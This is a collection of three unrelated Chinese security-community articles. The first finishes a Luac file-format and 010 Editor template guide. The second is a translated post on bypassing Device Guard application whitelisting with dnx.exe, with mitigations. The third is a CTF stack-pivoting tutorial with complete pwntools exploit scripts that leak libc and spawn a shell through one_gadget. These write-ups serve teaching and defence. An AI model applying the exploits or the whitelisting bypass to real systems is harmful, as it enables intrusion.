**size_int** 字段表示int类型所占的字节大小。 **size_size_t**
字段表示size_t类型所占的字节大小。这两个字段的存在，是为了兼容各种PC机与移动设备的处理器，以及它们的32位与64位版本，因为在特定的处理器上，这两个数据类型所占的字节大小是不同的。
**size_Instruction** 字段表示Luac字节码的代码块中，一条指令的大小。目前，指令 **Instruction**
所占用的大小为固定的4字节，也就表示Luac使用等长的指令格式，这显然为存储与反编译Luac指令带来了便利。
**size_lua_Number** 字段标识 **lua_Number** 类型的数据大小。 **lua_Number** 表示Lua中的
**Number** 类型，它可以存放整型与浮点型。在Lua代码中，它使用 **LUA_NUMBER**
表示，它的大小取值大小取决于Lua中使用的浮点数据类型与大小，对于单精度浮点来说， **LUA_NUMBER**
被定义为float，即32位大小，对于双精度浮点来说，它被定义为double，表示64位长度。目前，在macOS系统上编译的Lua，它的大小为64位长度。
**lua_num_valid** 字段通常为0，用来确定 **lua_Number** 类型能否正常的工作。
**luac_tail** 字段用来捕捉转换错误的数据。在Lua中它使用 **LUAC_TAIL** 表示，这是一段固定的字符串内容："
**x19x93rnx1an** "。
在文件头后面，紧接着的是函数体部分。一个Luac文件中，位于最上面的是一个顶层的函数体，函数体中可以包含多个子函数，子函数可以是嵌套函数、也可以是闭包，它们由常量、代码指令、Upvalue、行号、局部变量等信息组成。
在Lua中，函数体使用 **Proto** 结构体表示，它的声明如下：
typedef struct {
//header
ProtoHeader header;
//code
Code code;
// constants
Constants constants;
// functions
Protos protos;
// upvalues
Upvaldescs upvaldescs;
// string
SourceName src_name;
// lines
Lines lines;
// locals
LocVars loc_vars;
// upvalue names
UpValueNames names;
} Proto;
**ProtoHeader** 是 **Proto** 的头部分。它的定义如下：
typedef struct {
uint32 linedefined;
uint32 lastlinedefined;
uchar numparams;
uchar is_vararg;
uchar maxstacksize;
} ProtoHeader;
**ProtoHeader** 在Lua中使用 **lua_Debug** 表示， **lua_Debug**
的作用是调试时提供函数的行号，函数与变量名等信息，只是它部分字段的信息在生成Luac字节码时，最终没有写入Luac文件中。 **linedefined**
与 **lastlinedefined** 是定义的两个行信息。 **numparams** 表示函数有几个参数。 **is_vararg**
表示参数是否为可变参数列表，例如这个函数声明：
function f1(a1, a2, ...)
......
end
这点与C语言类似，三个点“…”表示这是一个可变参数的函数。 **f1()** 在这里的 **numparams** 为2，并且 **is_vararg**
的值为1。
**maxstacksize** 字段指明当前函数的Lua栈大小。值为2的幂。
在 **ProtoHeader** 下面是函数的代码部分，这里使用 **Code** 表示。 **Code**
存放了一条条的Luac机器指令，每条指令是一个32位的整型大小。 **Code** 定义如下：
struct Code {
uint32 sizecode;
uint32 inst[];
} code;
**sizecode** 字段标识了接下来的指令条数。 **inst** 则存放了当前函数所有的指令，在Lua中，指令采用 **Instruction**
表示，它的定义如下：
#define LUAI_UINT32unsigned int
typedef LUAI_UINT32 lu_int32;
typedef lu_int32 Instruction;
当 **LUAI_BITSINT** 定义的长度大于等于32时， **LUAI_UINT32** 被定义为unsigned
int，否则定义为unsigned long，本质上，也就是要求 **lu_int32** 的长度为32位。
接下来是 **Constants** ，它存放了函数中所有的常量信息。定义如下：
typedef struct {
uint32 sizek;
Constant constant[];
} Constants;
**sizek** 字段标识了接下来 **Constant** 的个数。 **constant** 则是 **Constant**
常量列表，存放了一个个的常量信息。的定义如下：
typedef struct {
LUA_DATATYPE const_type;
TValue val;
} Constant;
**LUA_DATATYPE** 是Lua支持的各种数据类型结构。如 **LUA_TBOOLEAN** 表示bool类型，使用 **lua_Val**
表示； **LUA_TNUMBER** 表示数值型，它可以是整型，使用 **lua_Integer**
表示，也可以是浮点型，使用lua_Number表示；LUA_TSTRING表示字符串。这些所有的类型信息使用const_type字段表示，大小为1字节。
TValue用于存放具体的数据内容。它的定义如下：
typedef struct {
union Value {
//GCObject *gc; /* collectable objects */
//void *p; /* light userdata */
lua_Val val; /* booleans */
//lua_CFunction f; /* light C functions */
lua_Integer i; /* integer numbers */
lua_Number n; /* float numbers */
} value_;
} TValue;
对于 **LUA_TBOOLEAN** ，它存放的值可以通过Lua中提供的宏 **bvalue** 来计算它的值。
对于 **LUA_TNUMBER** ，它存放的可能是整型，也可能是浮点型，可以直接通过 **nvalue**
宏自动进行类型判断，然后获取它格式化后的字符串值。对于Lua的5.3版本，对 **nvalue** 宏进行了改进，可以使用 **ivalue**
宏获取它的整型值，使用 **fltvalue** 宏来获取它的浮点值。
对于 **LUA_TSTRING**
，它存放的是字符串信息。可以使用rawtsvalue宏获取它的字符串信息。而写入Luac之后，这里的信息实则是64位的值存放了字符串的大小，并且紧跟着后面是字符串的内容。
接下来是 **Protos** ，它表示当前函数包含的子函数信息。定义如下：
typedef struct(string level) {
uint32 sizep;
Proto proto[];
} Protos
**sizep** 字段表示当前函数包含的子函数的数目。所谓子函数，指的是一个函数中包含的嵌套函数与闭包。如下面的代码：
function Create(n)
local function foo1()
print(n)
end
local function foo2()
n = n + 10
end
return foo1,foo2
end
**Create()** 函数包含了foo1()与foo2()两个子函数，因此，这里sizep的值为2。 **proto**
表示子函数信息，它与父函数使用一样的结构体信息。因此，可见Lua的函数部分使用了一种树式的数据结构进行数据存储。
**Upvaldescs** 与 **UpValueNames**
共同描述了Lua中的UpValue信息。当函数中包含子函数或团包，并且访问了函数的参数或局部变量时，就会产生UpValue。如上面的
**Create()** 函数，foo1()与foo2()两个子函数都访问了参数n，因此，这里会产生一个UpValue，它的名称为“n”。
**Upvaldesc** 的定义如下：
typedef struct {
uchar instack;
uchar idx;
} Upvaldesc;
**instack** 字段表示UpValue是否在栈上创建的，是的话取值为1，反之为0。 **idx**
字段表示UpValue在UpValue数据列表中的索引，取值从0开始。
**UpValueNames** 存放了当前函数中所有UpValue的名称信息，它的定义如下：
typedef struct {
uint32 size_upvalue_names;
UpValueName upvalue_name[];
} UpValueNames;
size_upvalue_names字段表示 **UpValueName** 条目的数目，每一条 **UpValueName**
存放了一个UpValue的名称，它的定义如下：
typedef struct {
uint64 name_size;
char var_str[];
} UpValueName;
**name_size** 字段是符号串的长度， **var_str** 为具体的字符串内容。
**SourceName** 存放了当前Luac编译前存放的完整文件名路径。它的定义如下：
typedef struct {
uint64 src_string_size;
char str[];
} SourceName
**SourceName** 的定义与 **UpValueName** 一样，两个字段分别存放了字符串的长度与内容。
**Lines** 存放了所有的行号信息。它的定义如下：
typedef struct {
uint32 sizelineinfo;
uint32 line[];
} Lines;
**sizelineinfo** 字段表示当前函数所有的行总数目。 **line** 字段存放了具体的行号。
**LocVars** 存放了当前函数所有的局部变量信息，它的定义如下：
typedef struct {
uint32 sizelocvars;
LocVar local_var[];
} LocVars;
**sizelocvars** 字段表示局部变量的个数。local_var字段是一个个的局部变量，它的类型LocVar定义如下：
typedef struct {
uint64 varname_size;
char varname[];
uint32 startpc;
uint32 endpc;
} LocVar;
**varname_size**
字段是变量的名称长度大小。varname字段存放了变量的名称字符串内容。startpc与endpc是两个指针指，存储了局部变量的作用域信息，即它的起始与结束的地方。
到此，一个Luac的文件格式就讲完了。
**010 Editor模板语法**
****
为了方便分析与修改Luac二进制文件，有时候使用 **010 Editor** 编辑器配合它的文件模板，可以达到很直观的查看与修改效果，但 **010
Editor** 官方并没有提供Luac的格式模板，因此，决定自己动手编写一个模板文件。
**010 Editor** 支持模板与脚本功能，两者使用的语法与C语言几乎一样，只是有着细微的差别与限制，我们看看如何编写010 Editor模板文件。
点击 **010 Editor** 菜单Templates->New Template，新建一个模板，会自动生成如下内容：
//------------------------------------------------ //--- 010 Editor v8.0 Binary Template
//
// File:
// Authors:
// Version:
// Purpose:
// Category:
// File Mask:
// ID Bytes:
// History:
//------------------------------------------------
**File** 是文件名， **010 Editor** 使用.bt作为模柏树的后缀，这里取名为luac.bt即可。
**Authors** 是作者信息。
**Version** 是当前模板的版本，如果将最终的模板文件上传到 **010 Editor** 的官方模板仓库， **010 Editor**
会以此字段来判断模板文件的版本信息。
**Purpose** 是编写本模板的意图，内容上可以留空。
**Category** 是模板的分类， **010 Editor** 中自带了一些内置的分类，这里选择 **Programming** 分类。
**File Mask**
是文件扩展名掩码，表示当前模板支持处理哪种文件类型的数据，支持通配符，如果支持多种文件格式，可以将所有的文件扩展名写在一行，中间使用逗号分开，这里设置它的值为“*.luac,
*.lua”。
**ID Bytes** 是文件开头的Magic Number，用来通过文件的开头来判断是否为支持处理的文件，这里的取值为“1B 4c 75 61”。
**History** 中可以留空，也可以编写模板的更新历史信息。
最终，Luac.bt的开头内容如下：
//------------------------------------------------ //--- 010 Editor v8.0 Binary Template
//
// File: luac.bt
// Authors: fei_cong([email protected])
// Version: 1.0
// Purpose:
// Category: Programming
// File Mask: *.luac, *.lua
// ID Bytes: 1B 4c 75 61
// History:
// 1.0 fei_cong: Initial version, support lua 5.2.
//
// License: This file is released into the public domain. People may
// use it for any purpose, commercial or otherwise.
//------------------------------------------------
**010 Editor** 模板与C语言一样，支持C语言的宏、数据类型、变量、函数、代码语句、控制流程等，还支持调用常见的C语言函数。
数据类型上，支持的非常丰富，官方列出BS的支持的数据类型如下：
- 8-Bit Signed Integer - char, byte, CHAR, BYTE
- 8-Bit Unsigned Integer - uchar, ubyte, UCHAR, UBYTE
- 16-Bit Signed Integer - short, int16, SHORT, INT16
- 16-Bit Unsigned Integer - ushort, uint16, USHORT, UINT16, WORD
- 32-Bit Signed Integer - int, int32, long, INT, INT32, LONG
- 32-Bit Unsigned Integer - uint, uint32, ulong, UINT, UINT32, ULONG, DWORD
- 64-Bit Signed Integer - int64, quad, QUAD, INT64, __int64
- 64-Bit Unsigned Integer - uint64, uquad, UQUAD, UINT64, QWORD, __uint64
- 32-Bit Floating Point Number - float, FLOAT
- 64-Bit Floating Point Number - double, DOUBLE
- 16-Bit Floating Point Number - hfloat, HFLOAT
- Date Types - DOSDATE, DOSTIME, FILETIME, OLETIME, time_t (for more information on date types see Using the Inspector)
在编写模板时，同一数据类型中列出的类型，使用上是一样，如下面的代码片断：
local int a;
local int32 a;
local long a;
表示的都是一个32位的整型变量，这三种声明方式表达的含义是相同的。声明变量时，需要在前面跟上local关键字，如果没有跟上local，则表明是在声明一个占位的数据字段。所谓占位的数据字段，指的
**010 Editor** 在解析模板中的变量时，会对占位的数据部分使用指定的数据类型进行解析，如下面的代码：
typedef struct {
GlobalHeader header;
Proto proto;
} Luac;
Luac luac;
**010 Editor**
在解析这段代码时，会按照Luac中所有的占位数据字段信息解析当前的二进制文件。GlobalHeader与Proto的声明也中如此，没有加上local的数据字段，都会被0
**10 Editor** 解析并显示。
除了支持基本的C语言格式结构体struct外， **010 Editor**
模板语法还加入了一些特性，比如字段注释与格式、结构体压缩与处理函数。看如下的结构体信息：
typedef struct {
uint64 varname_size <format=hex>;
char varname[varname_size];
uint32 startpc <format=hex, comment="first point where variable is active">;
uint32 endpc <format=hex, comment="first point where variable is dead">;
} LocVar <read = LocVarRead, optimize = false>;
这是按照前面介绍的 **LocVar** 结构体信息，按照 **010 Editor**
模板语法处理过后的效果。为字段后添加format可以指定它的输出格式为十六进制hex，默认是10进制；为字段后添加comment可以指定它的注释信息，这两个字段可以同时存在，在中间加入一个逗号即可；可以为结构体指定read来指定它的类型读取函数，也可以指定write来指定它的类型写入函数，read与write有着自己的格式，如下所示：
string LocVarRead(LocVar &val) {
return val.varname;
}
所有的read与write返回值必须为string，参数必须为要处理的结构体类型的引用。注意： **010 Editor**
模板语法不支持指针，但支持引用类型，但引用类型不能作为变量与函数的返回值，只能作为参数进行传递，在编写模板代码时需要注意。
除了以上的基础类型外， **010 Editor**
模板还支持字符串类型string，这在C语言中是不存在的！它与char[]代表的含义是相同的，而且它支持的操作比较多，如以下字符串相加等操作：
local string str = "world";
local string str2 = "hello " + str + "!n";
**010 Editor** 模板中的宏有限制，并不能解析那些需要展开后替换符号的宏，只支持那些能够直接计算的宏。如下面的BITRK与ISK宏：
#define SIZE_B9
#define BITRK(1 << (SIZE_B - 1))
#define ISK(x)((x) & BITRK)
前者可以直接解析并计算出来， **010 Editor** 模板就支持它，而对于ISK宏，并不能在展开时计算出它的值，因此， **010 Editor**
模板并不支持它。
**010 Editor** 模板支持enum枚举，与C语言中的枚举的差别是，在定义枚举时可以指定它的数据类型，这样的好处是可以在 **010
Editor** 模板中声明占位的枚举数据。如下所示是Luac.bt中用到的 **LUA_DATATYPE** 类型：
enum <uchar> LUA_DATATYPE {
LUA_TNIL= 0,
LUA_TBOOLEAN= 1,
LUA_TLIGHTUSERDATA = 2,
LUA_TNUMBER= 3,
LUA_TSTRING= 4,
LUA_TTABLE= 5,
LUA_TFUNCTION= 6,
LUA_TUSERDATA= 7,
LUA_TTHREAD= 8,
LUA_NUMTAGS = 9,
};
**010 Editor** 模板中支持调用常见的C语言库函数，如 **strlen** ()、 **strcat** ()、 **print** ()、
**sprintf** ()、 **strstr** ()，不同的是，函数名上有些差别，这些可调用的函数在 **010 Editor**
模板中首字母是大写的，因此，在调用时，它们分别是 **Strlen** ()、 **Strcat** ()、 **Print** ()、
**Sprintf** ()、 **Strstr** ()。更多支持的字符串操作的函数可以查看 **010 Editor** 的帮助文档“String
Functions”小节，除了“String Functions”外，还有“I/O Functions”、“Math Functions”、“Tool
Functions”、“Interface Functions”等函数可供模板代码使用。
接下来看下代码结构部分， **010 Editor** 模板支持C语言中的for/while/dowhile等循环语句，这些语句可以用来组成到 **010
Editor** 模板的函数与代码块中。一点细微的差别是 **010 Editor**
模板的返回类型只能是上面介绍过的基础类型，不支持自定义类型与数组结构，这就给实际编写代码带来了一些麻烦，遇到这种函数场景时，就需要考虑更改代码的结构了。
**编写luac.bt文件格式模板**
****
了解了 **010 Editor**
模板语法后，就可以开始编写Luac.bt模板文件了。编写模板前，需要找好一个Luac文件，然后边写边测试，生成一个Luac文件很简单，可以编写好hello.lua后，执行下面的命令生成hello.luac：
$ luac -o ./hello.luac ./hello.lua
生成好Luac文件后，就是编写一个个结构体进行测试，这是纯体力活了。 **luadec**
提供了一个ChunkSpy52.lua，可以使用它打印Luac的文件格式内容，可以参考它的输出进行Luac.bt的编写工作，实际上我也是这么做的。
首先是 **GlobalHeader** ，它的定义可以这样写：
typedef struct {
uint32 signature <format=hex>; //".lua"
uchar version <format=hex>;
uchar format <comment = "format (0=official)">;
uchar endian <comment = "1 == LittleEndian; 0 == BigEndian">;
uchar size_int <comment = "sizeof(int)">;
uchar size_size_t <comment = "sizeof(size_t)">;
uchar size_Instruction <comment = "sizeof(Instruction)">;
uchar size_lua_Number <comment = "sizeof(lua_Number)">;
uchar lua_num_valid <comment = "Determine lua_Number whether it works or not, It's usually 0">;
if (version == 0x52) {
uchar luac_tail[0x6] <format=hex, comment = "data to catch conversion errors">;
}
} GlobalHeader;
这种定义的方式与前面介绍的 **LocVar** 一样，具体就不展开讨论了。下面主要讨论编写过程中遇到的问题与难点。
首先是输出与ChunkSpy52.lua一样的function
level，也就是函数的嵌套级别，定义结构体时可以传递参数，这一点是C语言不具备的，但这个功能非常实用，可以用来传递定义结构时的信息，如这里的function
level就用到了该特性。这是Protos的定义：
typedef struct(string level) {
uint32 sizep <format=hex>;
local uint32 sz = sizep;
local uint32 i = 0;
local string s_level;
while (sz-- > 0) {
SPrintf(s_level, "%s_%d", level, i++);
Proto proto(s_level);
};
} Protos <optimize=false>;
为结构体加上一个 **string** 类型的 **level** 参数，初始时传值“0”，然后往下传递时，为传递的值累加一，这样就做到了function
level的输出。
然后是 **Constant** 常量信息的获取，由于TValue支持多种数据的类型，因此在处理上需要分别进行处理，这里参考了 **luadec**
的实现，不过在细节上还是比较麻烦。 **luadec** 使用 **DecompileConstant** ()方法实现，它的代码片断如下：
···
char* DecompileConstant(const Proto* f, int i) {
const TValue* o = &f->k[i];
switch (ttype(o)) {
case LUA_TBOOLEAN:
return strdup(bvalue(o)?"true":"false");
case LUA_TNIL:
return strdup("nil");
#if LUA_VERSION_NUM == 501 || LUA_VERSION_NUM == 502
case LUA_TNUMBER:
{
char* ret = (char*)calloc(128, sizeof(char));
sprintf(ret, LUA_NUMBER_FMT, nvalue(o));
return ret;
}
case LUA_TSTRING:
return DecompileString(o);
default:
return strdup("Unknown_Type_Error");
}
}
···
**bvalue** 与 **nvalue**
是Lua提供的两个宏，这在编写模板时不能直接使用，需要自己实现，由于宏的嵌套较多，实际测试时编写了C语言代码展开它的实现，如 **nvalue**
展开后的实现为：
((((((o))->tt_) == ((3 | (1 << 4)))) ? ((lua_Number)(((((o)->value_).i)))) : (((o)->value_).n))));
于是编写替换代码number2str函数，实现如下：
string number2str(TValue &o) {
local string ret;
local string fmt;
if (get_inst_sz() == 4) {
fmt = "(=%.7g)";
} else if (get_inst_sz() == 8) {
fmt = "(=%.14g)";
} else {
Warning("error inst size.n");
}
local int tt = o.value_.val.tt_;
//Printf("tt:%xn", tt);
local lua_Integer i = o.value_.i;
local lua_Number n = o.value_.n;
SPrintf(ret, "%.14g", ((tt == (3 | (1 << 4))) ? i : n));
return ret;
}
然后为Constant编写read方法 **ConstantRead** ，代码片断如下：
string ConstantRead(Constant& constant) {
local string str;
switch (constant.const_type) {
case LUA_TBOOLEAN:
{
SPrintf(str, "%s", constant.bool_val ? "true" : "false");
return str;
}
case LUA_TNIL:
{
return "nil";
}
case LUA_TNUMBER:
{
return number2str(constant.num_val);
}
case LUA_TSTRING:
{
return "(="" + constant.str_val + "")";
}
......
default:
return "";
}
}
**DecompileConstant** 中调用的 **DecompileString**
方法，原实现比较麻烦，处理了非打印字符，这里简单的获取解析的字符串内容，然后直接返回了。
最后，所有的代码编写完成后，效果如图所示：
luac.bt的完整实现可以在这里找到：<https://github.com/feicong/lua_re> 。 | 社区文章 |
# 【技术分享】使用dnx.exe绕过应用白名单
|
##### 译文声明
本文是翻译文章，文章来源：enigma0x3
原文地址：<https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **WisFree**](http://bobao.360.cn/member/contribute?uid=2606963099)
**稿费：110RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**写在前面的话**
在过去几个星期的时间里，我很荣幸能够与Matt
Graeber（[@mattifestation](https://twitter.com/mattifestation)）和Casey
Smith（[@subtee](https://twitter.com/subtee)）一起研究如何绕过Device
Guard的用户模式代码完整性机制。Device Guard（设备保护）是Windows
10操作系统中新添加的安全保护功能，设备保护使用用户模式代码完整性（UMCI） 来确保在用户模式下运行的任何内容（例如某项服务、Universal
Windows Platform (UWP) App 或经典 Windows
应用程序）都是受信任的，从而仅允许受信任的二进制文件在主机中运行。如果你不熟悉Device
Guard的话，你可以参阅相关资料以获取更多关于设备保护功能的信息[[参考资料]](http://wordpress.redirectingat.com/?id=725X1342&site=enigma0x3.wordpress.com&xs=1&isjs=1&url=https%3A%2F%2Ftechnet.microsoft.com%2Fen-us%2Fitpro%2Fwindows%2Fkeep-secure%2Fdevice-guard-deployment-guide&xguid=aeeacb4f7a5a1ec0d9358d456bc3154c&xuuid=3202e58d8610a4ad316b08ffc82c9d74&xsessid=6f7c87cd956180b2d0e586277674cbf9&xcreo=0&xed=0&sref=https%3A%2F%2Fenigma0x3.net%2F2016%2F11%2F17%2Fbypassing-application-whitelisting-by-using-dnx-exe%2F&xtz=-480)。
简而言之，Device
Guard通过用户模式代码完整性机制来防止未经签名的代码在计算机中得到执行，限制Windows脚本主机的相关功能，并让PowerShell在[受限制的语言模式](https://technet.microsoft.com/zh-cn/library/dn433292.aspx?tduid=\(2eec0c5c7d68e0fd736d091db0009910\)\(256380\)\(2459594\)\(tnl5hpstwnw-sa1q1loajml_ddd7x3ewga\)\(\))下运行。
最近，[@mattifestation](https://twitter.com/mattifestation)在博客上发表了一篇关于如何在典型Device
guard场景下使用[已签名调试器WinDbg/CBD](http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html)来执行shellcode的文章。在不久之后，[@subtee](https://twitter.com/subtee)也发表了一篇文章，并在文章中描述了如何在启用了Device
Guard的系统中[使用CSI.exe运行未签名的C#代码](http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csiexe.html)。
在他们两位专家的带领之下，我决定安装Visual
Studio企业版（试用版），然后看一看里面到底有哪些二进制代码。在进行了大量的深入分析工作之后，我偶然间发现了dnx.exe，它是Microsoft
.NET的执行环境。如果想了解更多关于dnx.exe的内容，请参阅这份参考文档[[传送门]](https://blogs.msdn.microsoft.com/sujitdmello/2015/04/23/step-by-step-installation-instructions-for-getting-dnx-on-your-windows-machine/)。
**技术分析**
在Device Guard的场景中，dnx.exe是可以直接运行的。因为它是由微软签名的二进制代码包，而且Visual
Studio企业版也自带了dnx.exe。为了在一台启用了Device
Guard的系统中执行dnx.exe（假设目标系统中并没有安装dnx.exe），你需要下载dnx.exe并配置好相应的依赖环境，然后将所有的程序和代码发送至目标系统中（至于如何将其发送至目标系统中，就交给读者们自行解决啦！）。
完成了全部配置之后，我们现在就可以尝试绕过目标主机中Device
Guard的UMCI了。由于dnx.exe允许在动态场景下执行代码，所以我们就可以用它来执行任意代码了，例如未经签名的C#代码。
比如说，我们可以创建一个名为“Program.cs”的C#文件，然后将我们想要执行的C#代码写入这个文件。为了更好地给大家演示如何执行未经签名的代码，我们在下方给出了一个简单的例子：
为了满足dnx.exe的运行条件，我们要提供一个Project.json文件，这个文件指明了代码在执行过程中所需的一些数据。在我们的演示过程中，我们所使用的“Project.json”文件来源于微软的官方博客[[传送门]](https://blogs.msdn.microsoft.com/sujitdmello/2015/04/23/step-by-step-installation-instructions-for-getting-dnx-on-your-windows-machine/)。正如微软在其博客中写到的那样，我们可以将“Program.cs”和“Project.json”放在一个叫“ConsoleApp”（文件夹名称可以自定义）的文件夹中，然后执行相应的C#代码。
**
**
**执行结果**
既然我们已经准备好了相应的文件，那么我们就可以使用dnx.exe来执行我们在“ConsoleApp”文件夹中存放的C#代码了。需要注意的是，这台设备已经启用了Device
Guard。运行结果如下图所示：
正如你在上图中所看到的那样，我们未经签名的C#代码成功地在dnx.exe之中运行了。
**缓解方案**
幸运的是，我们可以通过代码完整性策略来缓解这个问题。我们可以在FilePublisher文件中定义相应的规则，关于规则的制定方法可以参阅这份资料[[参考资料]](http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html)。
这份Device
Guard代码完整性策略由FilePublisher拒绝规则组成，仅供各位参考。除此之外，我们也会在GitHub上更新相关的缓解策略，希望各位保持关注。
你可以将下面这段代码写入你目前所使用的代码完整性策略中：
# The path to the denial policy from the GitHub repo
$DenialPolicyFilePath = 'BypassDenyPolicy.xml'
# Replace this with the file path of the policy you're using
$ReferencePolicyFilePath = 'ReferencePolicy.xml'
# Name this whatever you want
$MergedPolicyFilePath = 'ReferencePolicyWithMitigations.xml'
# Parse the rules from the denial policy
$DenyRules = Get-CIPolicy -FilePath $DenialPolicyFilePath
# Merge the rules into a new, merged code integrity policy
Merge-CIPolicy -OutputFilePath $MergedPolicyFilePath -PolicyPaths $ReferencePolicyFilePath -Rules $DenyRules
你可以在我们的GitHub中找到针对这项Device
Guard绕过技术的完整缓解方案[[传送门]](https://github.com/mattifestation/DeviceGuardBypassMitigationRules)。 | 社区文章 |
# 栈迁移详解
## 栈迁移
* 将ebp转移到bss或data段，在bss段或data段构造gadget然后在这里执行
* leave相当于mov esp,ebp pop ebp;
* ret相当于pop eip;
* mov esp,ebp 让esp指向ebp的地址
* pop ebp 把栈顶的值弹到ebp寄存器里，此时ebp就指向了fake ebp1
如果在fake ebp1处写入fake ebp2的地址，然后再来一步leave就可以让ebp指向fake ebp2
### 遇到的一些问题
上述的解释比较简洁但是利用起来还是会遇到很多问题
* 比如为什么要利用两次leave ret使得栈转移到bss段里
* 为什么要在fake ebp1的地址上写入bss+0x10的地址
* 还有就是网上的大部分例题都是同一个，溢出的空间都挺大的，如果只能溢出10字节怎么做
下面我用一个例题来说一下我自己的详细理解
## vnctf2023 traveler
ida
这个函数我不知道怎么利用，这里用栈迁移来做一下这个题
### 思路
前面定义的
bss=elf.bss()
bss4=bss+0x400
bss6=bss+0x600
def duan():
gdb.attach(io)
pause()
第一次尝试栈迁移，先把pre rbp改成bss然后返回函数改成read的地址(0x401216)(如下图)
然后程序开始在0x401216处开始执行
之后会继续执行puts和read，recv和send一下
payload=cyclic(0x20)+p64(bss4)+p64(read)
io.send(payload)
io.recvuntil(b'his life?\n')
io.sendline(b'k')
* 然后第一次leave把rsp移动到rbp,然后把rbp pop到bss段
* 只不过这时的rsp还在原来的栈上，然后ret返回父函数
* 这时候返回的父函数是原来的read函数，ret之前调用的一系列函数是用溢出调用的
* 然后第二次leave把rsp移动到rbp，此时应该rsp也迁移到bss段，所以就可以控制bss段了
payload=cyclic(0x20)+p64(bss4+0x20)+p64(read)
io.send(payload)
io.recvuntil(b'his life?\n')
io.sendline(b'k')
然后先在第一处fake ebp1填入稍远处的地址，这里一般是bss+0x10就够(这里说明一下为什么要怎么写，这是为了最后的leave ret把rbp
pop到新的地址，然后我们之前构造的ROP链就变成了父函数，ret完之后就可以调用ROP链函数)
payload=p64(bss4+0x20+10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(payload)
* 利用puts泄露出来的libc的基地址然后返回main函数
* 其实这时候的main函数和我们一开始进入的不太一样，这是在bss段里调用的main函数
* 然后重复最开始的两次栈迁移(leave ret)
* 在bss另一段上构造ROP链，利用同样的方式去getshell
* 可以利用one_gadget
* 然后利用one_gadget只需要在发送最后的payload之前去看一下各个寄存器的情况，然后再ROP链中构造对应的条件就可以
#1.stack pivoting
payload=cyclic(0x20)+p64(bss6)+p64(read)
io.send(payload)
io.recvuntil(b'his life?\n')
io.sendline(b'k')
#2.stack pivoting
payload=cyclic(0x20)+p64(bss6+0x20)+p64(read)
io.send(payload)
io.recvuntil(b'his life?\n')
io.sendline(b'k')
#duan()
#write bss6+0x20
payload=p64(bss6+0x30)+p64(r12)+p64(0)+p64(og)
io.send(payload)
### exp
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=process('./traveler')
elf=ELF('./traveler')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
def duan():
gdb.attach(io)
pause()
#address
read=0x401216
main=0x4011f4
rdi=0x4012c3
rsi_r15=0x4012c1
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bss=elf.bss()
bss4=bss+0x400
bss6=bss+0x600
#process
#1.stack pivoting
io.recvuntil(b'r u?\n')
payload=cyclic(0x20)+p64(bss4)+p64(read)
io.send(payload)
io.recvuntil(b'his life?\n')
io.sendline(b'k')
#2.stack pivoting
#io.recvuntil(b'r u?\n')
payload=cyclic(0x20)+p64(bss4+0x20)+p64(read)
io.send(payload)
io.recvuntil(b'his life?\n')
io.sendline(b'k')
#write bss4+0x20
payload=p64(bss4+0x30)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=puts_addr-libc.symbols['puts']
print(hex(libc_base))
#libc-ROP
rdi=libc_base+libc.search(asm('pop rdi;ret;')).__next__()
r12=libc_base+libc.search(asm('pop r12;ret;')).__next__()
#one_gadgets
ogs=[0xe3afe,0xe3b01,0xe3b04]
og=libc_base+ogs[0]
#1.stack pivoting
payload=cyclic(0x20)+p64(bss6)+p64(read)
io.send(payload)
io.recvuntil(b'his life?\n')
io.sendline(b'k')
#2.stack pivoting
payload=cyclic(0x20)+p64(bss6+0x20)+p64(read)
io.send(payload)
io.recvuntil(b'his life?\n')
io.sendline(b'k')
#duan()
#write bss6+0x20
payload=p64(bss6+0x30)+p64(r12)+p64(0)+p64(og)
io.send(payload)
io.interactive()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
'''
0x00000000004012bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012c0 : pop r14 ; pop r15 ; ret
0x00000000004012c2 : pop r15 ; ret
0x00000000004012bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012bf : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x00000000004012c3 : pop rdi ; ret
0x00000000004012c1 : pop rsi ; pop r15 ; ret
0x00000000004012bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
'''
### 总结
学会了这种10字节溢出题目
那么很多栈溢出题都可以用这种方法解决
## 新春杯mg
ida
这个也是10字节溢出，不过比较简单
### exp
from pwn import *
#from LibcSearcher import *
context(os="linux",arch="amd64",log_level='debug')
elf=ELF("./pwn3")
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
io=process("./pwn3")
#io=remote('39.99.242.16',1002)
def duan():
gdb.attach(io)
pause()
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
main=0x4011db
leave_ret=0x401214
read=0x4011FD
#bss=elf.bss()+0x500
bss=0x404000+0x500
rdi=0x401283
main=0x4011db
io.recv()
pay=b'a'*0x20+p64(bss)+p64(0x4011FD)
io.send(pay)
pay1=b'a'*0x20+p64(bss+0x20)+p64(0x4011FD)
io.send(pay1)
pay2=p64(bss+0x30)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
#duan()
io.send(pay2)
